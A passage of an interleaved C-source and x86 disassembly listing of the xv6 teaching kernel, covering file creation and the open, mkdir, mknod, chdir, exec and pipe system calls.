80106005: 89 04 24 mov %eax,(%esp)
80106008: e8 1e c4 ff ff call 8010242b <nameiparent>
8010600d: 89 45 f4 mov %eax,-0xc(%ebp)
80106010: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106014: 75 0a jne 80106020 <create+0x40>
return 0;
80106016: b8 00 00 00 00 mov $0x0,%eax
8010601b: e9 7e 01 00 00 jmp 8010619e <create+0x1be>
ilock(dp);
80106020: 8b 45 f4 mov -0xc(%ebp),%eax
80106023: 89 04 24 mov %eax,(%esp)
80106026: e8 33 b8 ff ff call 8010185e <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
8010602b: 8d 45 ec lea -0x14(%ebp),%eax
8010602e: 89 44 24 08 mov %eax,0x8(%esp)
80106032: 8d 45 de lea -0x22(%ebp),%eax
80106035: 89 44 24 04 mov %eax,0x4(%esp)
80106039: 8b 45 f4 mov -0xc(%ebp),%eax
8010603c: 89 04 24 mov %eax,(%esp)
8010603f: e8 3c c0 ff ff call 80102080 <dirlookup>
80106044: 89 45 f0 mov %eax,-0x10(%ebp)
80106047: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010604b: 74 47 je 80106094 <create+0xb4>
iunlockput(dp);
8010604d: 8b 45 f4 mov -0xc(%ebp),%eax
80106050: 89 04 24 mov %eax,(%esp)
80106053: e8 8a ba ff ff call 80101ae2 <iunlockput>
ilock(ip);
80106058: 8b 45 f0 mov -0x10(%ebp),%eax
8010605b: 89 04 24 mov %eax,(%esp)
8010605e: e8 fb b7 ff ff call 8010185e <ilock>
if(type == T_FILE && ip->type == T_FILE)
80106063: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp)
80106068: 75 15 jne 8010607f <create+0x9f>
8010606a: 8b 45 f0 mov -0x10(%ebp),%eax
8010606d: 0f b7 40 10 movzwl 0x10(%eax),%eax
80106071: 66 83 f8 02 cmp $0x2,%ax
80106075: 75 08 jne 8010607f <create+0x9f>
return ip;
80106077: 8b 45 f0 mov -0x10(%ebp),%eax
8010607a: e9 1f 01 00 00 jmp 8010619e <create+0x1be>
iunlockput(ip);
8010607f: 8b 45 f0 mov -0x10(%ebp),%eax
80106082: 89 04 24 mov %eax,(%esp)
80106085: e8 58 ba ff ff call 80101ae2 <iunlockput>
return 0;
8010608a: b8 00 00 00 00 mov $0x0,%eax
8010608f: e9 0a 01 00 00 jmp 8010619e <create+0x1be>
}
if((ip = ialloc(dp->dev, type)) == 0)
80106094: 0f bf 55 d4 movswl -0x2c(%ebp),%edx
80106098: 8b 45 f4 mov -0xc(%ebp),%eax
8010609b: 8b 00 mov (%eax),%eax
8010609d: 89 54 24 04 mov %edx,0x4(%esp)
801060a1: 89 04 24 mov %eax,(%esp)
801060a4: e8 1a b5 ff ff call 801015c3 <ialloc>
801060a9: 89 45 f0 mov %eax,-0x10(%ebp)
801060ac: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801060b0: 75 0c jne 801060be <create+0xde>
panic("create: ialloc");
801060b2: c7 04 24 c7 8d 10 80 movl $0x80108dc7,(%esp)
801060b9: e8 7c a4 ff ff call 8010053a <panic>
ilock(ip);
801060be: 8b 45 f0 mov -0x10(%ebp),%eax
801060c1: 89 04 24 mov %eax,(%esp)
801060c4: e8 95 b7 ff ff call 8010185e <ilock>
ip->major = major;
801060c9: 8b 45 f0 mov -0x10(%ebp),%eax
801060cc: 0f b7 55 d0 movzwl -0x30(%ebp),%edx
801060d0: 66 89 50 12 mov %dx,0x12(%eax)
ip->minor = minor;
801060d4: 8b 45 f0 mov -0x10(%ebp),%eax
801060d7: 0f b7 55 cc movzwl -0x34(%ebp),%edx
801060db: 66 89 50 14 mov %dx,0x14(%eax)
ip->nlink = 1;
801060df: 8b 45 f0 mov -0x10(%ebp),%eax
801060e2: 66 c7 40 16 01 00 movw $0x1,0x16(%eax)
iupdate(ip);
801060e8: 8b 45 f0 mov -0x10(%ebp),%eax
801060eb: 89 04 24 mov %eax,(%esp)
801060ee: e8 af b5 ff ff call 801016a2 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
801060f3: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp)
801060f8: 75 6a jne 80106164 <create+0x184>
dp->nlink++; // for ".."
801060fa: 8b 45 f4 mov -0xc(%ebp),%eax
801060fd: 0f b7 40 16 movzwl 0x16(%eax),%eax
80106101: 8d 50 01 lea 0x1(%eax),%edx
80106104: 8b 45 f4 mov -0xc(%ebp),%eax
80106107: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(dp);
8010610b: 8b 45 f4 mov -0xc(%ebp),%eax
8010610e: 89 04 24 mov %eax,(%esp)
80106111: e8 8c b5 ff ff call 801016a2 <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80106116: 8b 45 f0 mov -0x10(%ebp),%eax
80106119: 8b 40 04 mov 0x4(%eax),%eax
8010611c: 89 44 24 08 mov %eax,0x8(%esp)
80106120: c7 44 24 04 a1 8d 10 movl $0x80108da1,0x4(%esp)
80106127: 80
80106128: 8b 45 f0 mov -0x10(%ebp),%eax
8010612b: 89 04 24 mov %eax,(%esp)
8010612e: e8 16 c0 ff ff call 80102149 <dirlink>
80106133: 85 c0 test %eax,%eax
80106135: 78 21 js 80106158 <create+0x178>
80106137: 8b 45 f4 mov -0xc(%ebp),%eax
8010613a: 8b 40 04 mov 0x4(%eax),%eax
8010613d: 89 44 24 08 mov %eax,0x8(%esp)
80106141: c7 44 24 04 a3 8d 10 movl $0x80108da3,0x4(%esp)
80106148: 80
80106149: 8b 45 f0 mov -0x10(%ebp),%eax
8010614c: 89 04 24 mov %eax,(%esp)
8010614f: e8 f5 bf ff ff call 80102149 <dirlink>
80106154: 85 c0 test %eax,%eax
80106156: 79 0c jns 80106164 <create+0x184>
panic("create dots");
80106158: c7 04 24 d6 8d 10 80 movl $0x80108dd6,(%esp)
8010615f: e8 d6 a3 ff ff call 8010053a <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
80106164: 8b 45 f0 mov -0x10(%ebp),%eax
80106167: 8b 40 04 mov 0x4(%eax),%eax
8010616a: 89 44 24 08 mov %eax,0x8(%esp)
8010616e: 8d 45 de lea -0x22(%ebp),%eax
80106171: 89 44 24 04 mov %eax,0x4(%esp)
80106175: 8b 45 f4 mov -0xc(%ebp),%eax
80106178: 89 04 24 mov %eax,(%esp)
8010617b: e8 c9 bf ff ff call 80102149 <dirlink>
80106180: 85 c0 test %eax,%eax
80106182: 79 0c jns 80106190 <create+0x1b0>
panic("create: dirlink");
80106184: c7 04 24 e2 8d 10 80 movl $0x80108de2,(%esp)
8010618b: e8 aa a3 ff ff call 8010053a <panic>
iunlockput(dp);
80106190: 8b 45 f4 mov -0xc(%ebp),%eax
80106193: 89 04 24 mov %eax,(%esp)
80106196: e8 47 b9 ff ff call 80101ae2 <iunlockput>
return ip;
8010619b: 8b 45 f0 mov -0x10(%ebp),%eax
}
8010619e: c9 leave
8010619f: c3 ret
801061a0 <sys_open>:
int
sys_open(void)
{
801061a0: 55 push %ebp
801061a1: 89 e5 mov %esp,%ebp
801061a3: 83 ec 38 sub $0x38,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
801061a6: 8d 45 e8 lea -0x18(%ebp),%eax
801061a9: 89 44 24 04 mov %eax,0x4(%esp)
801061ad: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801061b4: e8 d7 f6 ff ff call 80105890 <argstr>
801061b9: 85 c0 test %eax,%eax
801061bb: 78 17 js 801061d4 <sys_open+0x34>
801061bd: 8d 45 e4 lea -0x1c(%ebp),%eax
801061c0: 89 44 24 04 mov %eax,0x4(%esp)
801061c4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801061cb: e8 30 f6 ff ff call 80105800 <argint>
801061d0: 85 c0 test %eax,%eax
801061d2: 79 0a jns 801061de <sys_open+0x3e>
return -1;
801061d4: b8 ff ff ff ff mov $0xffffffff,%eax
801061d9: e9 5c 01 00 00 jmp 8010633a <sys_open+0x19a>
begin_op();
801061de: e8 37 d2 ff ff call 8010341a <begin_op>
if(omode & O_CREATE){
801061e3: 8b 45 e4 mov -0x1c(%ebp),%eax
801061e6: 25 00 02 00 00 and $0x200,%eax
801061eb: 85 c0 test %eax,%eax
801061ed: 74 3b je 8010622a <sys_open+0x8a>
ip = create(path, T_FILE, 0, 0);
801061ef: 8b 45 e8 mov -0x18(%ebp),%eax
801061f2: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
801061f9: 00
801061fa: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80106201: 00
80106202: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
80106209: 00
8010620a: 89 04 24 mov %eax,(%esp)
8010620d: e8 ce fd ff ff call 80105fe0 <create>
80106212: 89 45 f4 mov %eax,-0xc(%ebp)
if(ip == 0){
80106215: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106219: 75 6b jne 80106286 <sys_open+0xe6>
end_op();
8010621b: e8 7e d2 ff ff call 8010349e <end_op>
return -1;
80106220: b8 ff ff ff ff mov $0xffffffff,%eax
80106225: e9 10 01 00 00 jmp 8010633a <sys_open+0x19a>
}
} else {
if((ip = namei(path)) == 0){
8010622a: 8b 45 e8 mov -0x18(%ebp),%eax
8010622d: 89 04 24 mov %eax,(%esp)
80106230: e8 d4 c1 ff ff call 80102409 <namei>
80106235: 89 45 f4 mov %eax,-0xc(%ebp)
80106238: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010623c: 75 0f jne 8010624d <sys_open+0xad>
end_op();
8010623e: e8 5b d2 ff ff call 8010349e <end_op>
return -1;
80106243: b8 ff ff ff ff mov $0xffffffff,%eax
80106248: e9 ed 00 00 00 jmp 8010633a <sys_open+0x19a>
}
ilock(ip);
8010624d: 8b 45 f4 mov -0xc(%ebp),%eax
80106250: 89 04 24 mov %eax,(%esp)
80106253: e8 06 b6 ff ff call 8010185e <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80106258: 8b 45 f4 mov -0xc(%ebp),%eax
8010625b: 0f b7 40 10 movzwl 0x10(%eax),%eax
8010625f: 66 83 f8 01 cmp $0x1,%ax
80106263: 75 21 jne 80106286 <sys_open+0xe6>
80106265: 8b 45 e4 mov -0x1c(%ebp),%eax
80106268: 85 c0 test %eax,%eax
8010626a: 74 1a je 80106286 <sys_open+0xe6>
iunlockput(ip);
8010626c: 8b 45 f4 mov -0xc(%ebp),%eax
8010626f: 89 04 24 mov %eax,(%esp)
80106272: e8 6b b8 ff ff call 80101ae2 <iunlockput>
end_op();
80106277: e8 22 d2 ff ff call 8010349e <end_op>
return -1;
8010627c: b8 ff ff ff ff mov $0xffffffff,%eax
80106281: e9 b4 00 00 00 jmp 8010633a <sys_open+0x19a>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80106286: e8 9d ac ff ff call 80100f28 <filealloc>
8010628b: 89 45 f0 mov %eax,-0x10(%ebp)
8010628e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106292: 74 14 je 801062a8 <sys_open+0x108>
80106294: 8b 45 f0 mov -0x10(%ebp),%eax
80106297: 89 04 24 mov %eax,(%esp)
8010629a: e8 2e f7 ff ff call 801059cd <fdalloc>
8010629f: 89 45 ec mov %eax,-0x14(%ebp)
801062a2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801062a6: 79 28 jns 801062d0 <sys_open+0x130>
if(f)
801062a8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801062ac: 74 0b je 801062b9 <sys_open+0x119>
fileclose(f);
801062ae: 8b 45 f0 mov -0x10(%ebp),%eax
801062b1: 89 04 24 mov %eax,(%esp)
801062b4: e8 17 ad ff ff call 80100fd0 <fileclose>
iunlockput(ip);
801062b9: 8b 45 f4 mov -0xc(%ebp),%eax
801062bc: 89 04 24 mov %eax,(%esp)
801062bf: e8 1e b8 ff ff call 80101ae2 <iunlockput>
end_op();
801062c4: e8 d5 d1 ff ff call 8010349e <end_op>
return -1;
801062c9: b8 ff ff ff ff mov $0xffffffff,%eax
801062ce: eb 6a jmp 8010633a <sys_open+0x19a>
}
iunlock(ip);
801062d0: 8b 45 f4 mov -0xc(%ebp),%eax
801062d3: 89 04 24 mov %eax,(%esp)
801062d6: e8 d1 b6 ff ff call 801019ac <iunlock>
end_op();
801062db: e8 be d1 ff ff call 8010349e <end_op>
f->type = FD_INODE;
801062e0: 8b 45 f0 mov -0x10(%ebp),%eax
801062e3: c7 00 02 00 00 00 movl $0x2,(%eax)
f->ip = ip;
801062e9: 8b 45 f0 mov -0x10(%ebp),%eax
801062ec: 8b 55 f4 mov -0xc(%ebp),%edx
801062ef: 89 50 10 mov %edx,0x10(%eax)
f->off = 0;
801062f2: 8b 45 f0 mov -0x10(%ebp),%eax
801062f5: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
f->readable = !(omode & O_WRONLY);
801062fc: 8b 45 e4 mov -0x1c(%ebp),%eax
801062ff: 83 e0 01 and $0x1,%eax
80106302: 85 c0 test %eax,%eax
80106304: 0f 94 c0 sete %al
80106307: 89 c2 mov %eax,%edx
80106309: 8b 45 f0 mov -0x10(%ebp),%eax
8010630c: 88 50 08 mov %dl,0x8(%eax)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
8010630f: 8b 45 e4 mov -0x1c(%ebp),%eax
80106312: 83 e0 01 and $0x1,%eax
80106315: 85 c0 test %eax,%eax
80106317: 75 0a jne 80106323 <sys_open+0x183>
80106319: 8b 45 e4 mov -0x1c(%ebp),%eax
8010631c: 83 e0 02 and $0x2,%eax
8010631f: 85 c0 test %eax,%eax
80106321: 74 07 je 8010632a <sys_open+0x18a>
80106323: b8 01 00 00 00 mov $0x1,%eax
80106328: eb 05 jmp 8010632f <sys_open+0x18f>
8010632a: b8 00 00 00 00 mov $0x0,%eax
8010632f: 89 c2 mov %eax,%edx
80106331: 8b 45 f0 mov -0x10(%ebp),%eax
80106334: 88 50 09 mov %dl,0x9(%eax)
return fd;
80106337: 8b 45 ec mov -0x14(%ebp),%eax
}
8010633a: c9 leave
8010633b: c3 ret
8010633c <sys_mkdir>:
int
sys_mkdir(void)
{
8010633c: 55 push %ebp
8010633d: 89 e5 mov %esp,%ebp
8010633f: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80106342: e8 d3 d0 ff ff call 8010341a <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
80106347: 8d 45 f0 lea -0x10(%ebp),%eax
8010634a: 89 44 24 04 mov %eax,0x4(%esp)
8010634e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106355: e8 36 f5 ff ff call 80105890 <argstr>
8010635a: 85 c0 test %eax,%eax
8010635c: 78 2c js 8010638a <sys_mkdir+0x4e>
8010635e: 8b 45 f0 mov -0x10(%ebp),%eax
80106361: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
80106368: 00
80106369: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80106370: 00
80106371: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80106378: 00
80106379: 89 04 24 mov %eax,(%esp)
8010637c: e8 5f fc ff ff call 80105fe0 <create>
80106381: 89 45 f4 mov %eax,-0xc(%ebp)
80106384: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106388: 75 0c jne 80106396 <sys_mkdir+0x5a>
end_op();
8010638a: e8 0f d1 ff ff call 8010349e <end_op>
return -1;
8010638f: b8 ff ff ff ff mov $0xffffffff,%eax
80106394: eb 15 jmp 801063ab <sys_mkdir+0x6f>
}
iunlockput(ip);
80106396: 8b 45 f4 mov -0xc(%ebp),%eax
80106399: 89 04 24 mov %eax,(%esp)
8010639c: e8 41 b7 ff ff call 80101ae2 <iunlockput>
end_op();
801063a1: e8 f8 d0 ff ff call 8010349e <end_op>
return 0;
801063a6: b8 00 00 00 00 mov $0x0,%eax
}
801063ab: c9 leave
801063ac: c3 ret
801063ad <sys_mknod>:
int
sys_mknod(void)
{
801063ad: 55 push %ebp
801063ae: 89 e5 mov %esp,%ebp
801063b0: 83 ec 38 sub $0x38,%esp
struct inode *ip;
char *path;
int len;
int major, minor;
begin_op();
801063b3: e8 62 d0 ff ff call 8010341a <begin_op>
if((len=argstr(0, &path)) < 0 ||
801063b8: 8d 45 ec lea -0x14(%ebp),%eax
801063bb: 89 44 24 04 mov %eax,0x4(%esp)
801063bf: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801063c6: e8 c5 f4 ff ff call 80105890 <argstr>
801063cb: 89 45 f4 mov %eax,-0xc(%ebp)
801063ce: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801063d2: 78 5e js 80106432 <sys_mknod+0x85>
argint(1, &major) < 0 ||
801063d4: 8d 45 e8 lea -0x18(%ebp),%eax
801063d7: 89 44 24 04 mov %eax,0x4(%esp)
801063db: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801063e2: e8 19 f4 ff ff call 80105800 <argint>
char *path;
int len;
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
801063e7: 85 c0 test %eax,%eax
801063e9: 78 47 js 80106432 <sys_mknod+0x85>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
801063eb: 8d 45 e4 lea -0x1c(%ebp),%eax
801063ee: 89 44 24 04 mov %eax,0x4(%esp)
801063f2: c7 04 24 02 00 00 00 movl $0x2,(%esp)
801063f9: e8 02 f4 ff ff call 80105800 <argint>
int len;
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
801063fe: 85 c0 test %eax,%eax
80106400: 78 30 js 80106432 <sys_mknod+0x85>
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
80106402: 8b 45 e4 mov -0x1c(%ebp),%eax
80106405: 0f bf c8 movswl %ax,%ecx
80106408: 8b 45 e8 mov -0x18(%ebp),%eax
8010640b: 0f bf d0 movswl %ax,%edx
8010640e: 8b 45 ec mov -0x14(%ebp),%eax
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80106411: 89 4c 24 0c mov %ecx,0xc(%esp)
80106415: 89 54 24 08 mov %edx,0x8(%esp)
80106419: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80106420: 00
80106421: 89 04 24 mov %eax,(%esp)
80106424: e8 b7 fb ff ff call 80105fe0 <create>
80106429: 89 45 f0 mov %eax,-0x10(%ebp)
8010642c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106430: 75 0c jne 8010643e <sys_mknod+0x91>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
80106432: e8 67 d0 ff ff call 8010349e <end_op>
return -1;
80106437: b8 ff ff ff ff mov $0xffffffff,%eax
8010643c: eb 15 jmp 80106453 <sys_mknod+0xa6>
}
iunlockput(ip);
8010643e: 8b 45 f0 mov -0x10(%ebp),%eax
80106441: 89 04 24 mov %eax,(%esp)
80106444: e8 99 b6 ff ff call 80101ae2 <iunlockput>
end_op();
80106449: e8 50 d0 ff ff call 8010349e <end_op>
return 0;
8010644e: b8 00 00 00 00 mov $0x0,%eax
}
80106453: c9 leave
80106454: c3 ret
80106455 <sys_chdir>:
int
sys_chdir(void)
{
80106455: 55 push %ebp
80106456: 89 e5 mov %esp,%ebp
80106458: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
8010645b: e8 ba cf ff ff call 8010341a <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80106460: 8d 45 f0 lea -0x10(%ebp),%eax
80106463: 89 44 24 04 mov %eax,0x4(%esp)
80106467: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010646e: e8 1d f4 ff ff call 80105890 <argstr>
80106473: 85 c0 test %eax,%eax
80106475: 78 14 js 8010648b <sys_chdir+0x36>
80106477: 8b 45 f0 mov -0x10(%ebp),%eax
8010647a: 89 04 24 mov %eax,(%esp)
8010647d: e8 87 bf ff ff call 80102409 <namei>
80106482: 89 45 f4 mov %eax,-0xc(%ebp)
80106485: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106489: 75 0c jne 80106497 <sys_chdir+0x42>
end_op();
8010648b: e8 0e d0 ff ff call 8010349e <end_op>
return -1;
80106490: b8 ff ff ff ff mov $0xffffffff,%eax
80106495: eb 61 jmp 801064f8 <sys_chdir+0xa3>
}
ilock(ip);
80106497: 8b 45 f4 mov -0xc(%ebp),%eax
8010649a: 89 04 24 mov %eax,(%esp)
8010649d: e8 bc b3 ff ff call 8010185e <ilock>
if(ip->type != T_DIR){
801064a2: 8b 45 f4 mov -0xc(%ebp),%eax
801064a5: 0f b7 40 10 movzwl 0x10(%eax),%eax
801064a9: 66 83 f8 01 cmp $0x1,%ax
801064ad: 74 17 je 801064c6 <sys_chdir+0x71>
iunlockput(ip);
801064af: 8b 45 f4 mov -0xc(%ebp),%eax
801064b2: 89 04 24 mov %eax,(%esp)
801064b5: e8 28 b6 ff ff call 80101ae2 <iunlockput>
end_op();
801064ba: e8 df cf ff ff call 8010349e <end_op>
return -1;
801064bf: b8 ff ff ff ff mov $0xffffffff,%eax
801064c4: eb 32 jmp 801064f8 <sys_chdir+0xa3>
}
iunlock(ip);
801064c6: 8b 45 f4 mov -0xc(%ebp),%eax
801064c9: 89 04 24 mov %eax,(%esp)
801064cc: e8 db b4 ff ff call 801019ac <iunlock>
iput(proc->cwd);
801064d1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801064d7: 8b 40 68 mov 0x68(%eax),%eax
801064da: 89 04 24 mov %eax,(%esp)
801064dd: e8 2f b5 ff ff call 80101a11 <iput>
end_op();
801064e2: e8 b7 cf ff ff call 8010349e <end_op>
proc->cwd = ip;
801064e7: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801064ed: 8b 55 f4 mov -0xc(%ebp),%edx
801064f0: 89 50 68 mov %edx,0x68(%eax)
return 0;
801064f3: b8 00 00 00 00 mov $0x0,%eax
}
801064f8: c9 leave
801064f9: c3 ret
801064fa <sys_exec>:
int
sys_exec(void)
{
801064fa: 55 push %ebp
801064fb: 89 e5 mov %esp,%ebp
801064fd: 81 ec a8 00 00 00 sub $0xa8,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
80106503: 8d 45 f0 lea -0x10(%ebp),%eax
80106506: 89 44 24 04 mov %eax,0x4(%esp)
8010650a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106511: e8 7a f3 ff ff call 80105890 <argstr>
80106516: 85 c0 test %eax,%eax
80106518: 78 1a js 80106534 <sys_exec+0x3a>
8010651a: 8d 85 6c ff ff ff lea -0x94(%ebp),%eax
80106520: 89 44 24 04 mov %eax,0x4(%esp)
80106524: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010652b: e8 d0 f2 ff ff call 80105800 <argint>
80106530: 85 c0 test %eax,%eax
80106532: 79 0a jns 8010653e <sys_exec+0x44>
return -1;
80106534: b8 ff ff ff ff mov $0xffffffff,%eax
80106539: e9 c8 00 00 00 jmp 80106606 <sys_exec+0x10c>
}
memset(argv, 0, sizeof(argv));
8010653e: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80106545: 00
80106546: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010654d: 00
8010654e: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
80106554: 89 04 24 mov %eax,(%esp)
80106557: e8 5e ef ff ff call 801054ba <memset>
for(i=0;; i++){
8010655c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(i >= NELEM(argv))
80106563: 8b 45 f4 mov -0xc(%ebp),%eax
80106566: 83 f8 1f cmp $0x1f,%eax
80106569: 76 0a jbe 80106575 <sys_exec+0x7b>
return -1;
8010656b: b8 ff ff ff ff mov $0xffffffff,%eax
80106570: e9 91 00 00 00 jmp 80106606 <sys_exec+0x10c>
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80106575: 8b 45 f4 mov -0xc(%ebp),%eax
80106578: c1 e0 02 shl $0x2,%eax
8010657b: 89 c2 mov %eax,%edx
8010657d: 8b 85 6c ff ff ff mov -0x94(%ebp),%eax
80106583: 01 c2 add %eax,%edx
80106585: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
8010658b: 89 44 24 04 mov %eax,0x4(%esp)
8010658f: 89 14 24 mov %edx,(%esp)
80106592: e8 cd f1 ff ff call 80105764 <fetchint>
80106597: 85 c0 test %eax,%eax
80106599: 79 07 jns 801065a2 <sys_exec+0xa8>
return -1;
8010659b: b8 ff ff ff ff mov $0xffffffff,%eax
801065a0: eb 64 jmp 80106606 <sys_exec+0x10c>
if(uarg == 0){
801065a2: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
801065a8: 85 c0 test %eax,%eax
801065aa: 75 26 jne 801065d2 <sys_exec+0xd8>
argv[i] = 0;
801065ac: 8b 45 f4 mov -0xc(%ebp),%eax
801065af: c7 84 85 70 ff ff ff movl $0x0,-0x90(%ebp,%eax,4)
801065b6: 00 00 00 00
break;
801065ba: 90 nop
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
801065bb: 8b 45 f0 mov -0x10(%ebp),%eax
801065be: 8d 95 70 ff ff ff lea -0x90(%ebp),%edx
801065c4: 89 54 24 04 mov %edx,0x4(%esp)
801065c8: 89 04 24 mov %eax,(%esp)
801065cb: e8 20 a5 ff ff call 80100af0 <exec>
801065d0: eb 34 jmp 80106606 <sys_exec+0x10c>
return -1;
if(uarg == 0){
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
801065d2: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
801065d8: 8b 55 f4 mov -0xc(%ebp),%edx
801065db: c1 e2 02 shl $0x2,%edx
801065de: 01 c2 add %eax,%edx
801065e0: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
801065e6: 89 54 24 04 mov %edx,0x4(%esp)
801065ea: 89 04 24 mov %eax,(%esp)
801065ed: e8 ac f1 ff ff call 8010579e <fetchstr>
801065f2: 85 c0 test %eax,%eax
801065f4: 79 07 jns 801065fd <sys_exec+0x103>
return -1;
801065f6: b8 ff ff ff ff mov $0xffffffff,%eax
801065fb: eb 09 jmp 80106606 <sys_exec+0x10c>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
801065fd: 83 45 f4 01 addl $0x1,-0xc(%ebp)
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
80106601: e9 5d ff ff ff jmp 80106563 <sys_exec+0x69>
return exec(path, argv);
}
80106606: c9 leave
80106607: c3 ret
80106608 <sys_pipe>:
int
sys_pipe(void)
{
80106608: 55 push %ebp
80106609: 89 e5 mov %esp,%ebp
8010660b: 83 ec 38 sub $0x38,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
8010660e: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
80106615: 00
80106616: 8d 45 ec lea -0x14(%ebp),%eax
80106619: 89 44 24 04 mov %eax,0x4(%esp)
8010661d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106624: e8 05 f2 ff ff call 8010582e <argptr>
80106629: 85 c0 test %eax,%eax
8010662b: 79 0a jns 80106637 <sys_pipe+0x2f>
return -1;
8010662d: b8 ff ff ff ff mov $0xffffffff,%eax
80106632: e9 9b 00 00 00 jmp 801066d2 <sys_pipe+0xca>
if(pipealloc(&rf, &wf) < 0)
80106637: 8d 45 e4 lea -0x1c(%ebp),%eax
8010663a: 89 44 24 04 mov %eax,0x4(%esp)
8010663e: 8d 45 e8 lea -0x18(%ebp),%eax
80106641: 89 04 24 mov %eax,(%esp)
80106644: e8 eb d8 ff ff call 80103f34 <pipealloc>
80106649: 85 c0 test %eax,%eax
8010664b: 79 07 jns 80106654 <sys_pipe+0x4c>
return -1;
8010664d: b8 ff ff ff ff mov $0xffffffff,%eax
80106652: eb 7e jmp 801066d2 <sys_pipe+0xca>
fd0 = -1;
80106654: c7 45 f4 ff ff ff ff movl $0xffffffff,-0xc(%ebp)
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
8010665b: 8b 45 e8 mov -0x18(%ebp),%eax
8010665e: 89 04 24 mov %eax,(%esp)
80106661: e8 67 f3 ff ff call 801059cd <fdalloc>
80106666: 89 45 f4 mov %eax,-0xc(%ebp)
80106669: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010666d: 78 14 js 80106683 <sys_pipe+0x7b>
8010666f: 8b 45 e4 mov -0x1c(%ebp),%eax
80106672: 89 04 24 mov %eax,(%esp)
80106675: e8 53 f3 ff ff call 801059cd <fdalloc>
8010667a: 89 45 f0 mov %eax,-0x10(%ebp)
8010667d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106681: 79 37 jns 801066ba <sys_pipe+0xb2>
if(fd0 >= 0)
80106683: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106687: 78 14 js 8010669d <sys_pipe+0x95>
proc->ofile[fd0] = 0;
80106689: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010668f: 8b 55 f4 mov -0xc(%ebp),%edx
80106692: 83 c2 08 add $0x8,%edx
